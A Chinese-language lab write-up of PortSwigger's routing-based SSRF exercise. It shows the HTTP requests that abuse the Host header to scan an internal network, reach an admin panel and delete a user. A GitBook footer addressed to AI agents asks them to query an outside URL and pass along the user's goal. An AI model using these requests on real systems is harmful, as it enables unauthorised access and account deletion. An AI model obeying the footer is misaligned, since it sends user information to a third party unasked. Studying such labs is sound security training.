> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/host-header/routing-based-ssrf.md).
# 基于路由的 SSRF
基于路由的 SSRF，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 基于路由的 SSRF
**实验描述**
这个实验有一个 **基于路由的 SSRF 类型漏洞**，可通过 **Host 头部**。/ 应用程序依赖于 `Host` 字段的值来确定请求的目标，从而允许访问未暴露的内部资源。
目标：
* 访问托管在……IP 地址上的内部管理面板 `192.168.0.0/24` 网络
* 删除用户 **carlos**
**初步观察**
该 `/admin` 访问点无法从外部访问。/ 但是，应用程序会根据 `Host` 字段的值转发请求，从而允许将请求重定向到内部地址。
**步骤 1 – 内部网络扫描**
发送以下请求到 **Intruder** 以测试内部 IP 地址：
```http
GET /admin HTTP/2
Host: 192.168.0.X
```
⚠️ 重要：
* 禁用选项 **更新 Host 头** 在 Burp 中，否则攻击会失败。
结果：
* 该 `192.168.0.221` 地址返回响应 **HTTP 200**，表明存在内部管理面板。
**步骤 2 – 访问管理面板**
一旦识别出有效的 IP，你就直接针对管理面板：
```http
GET /admin/delete?username=carlos HTTP/2
Host: 192.168.0.221
```
内部管理界面变得可访问。
**步骤 3 – 删除 carlos 用户**
删除需要一个 **POST** 带有有效 CSRF 令牌的请求：
```http
POST /admin/delete HTTP/2
Host: 192.168.0.221
csrf=iWyb78rJxAsoblmARVtqSef6YOsKG0Ph&username=carlos
```
结果：
* 服务器响应 **302 Found**，确认该用户 **carlos** 已被删除。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/host-header/routing-based-ssrf.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
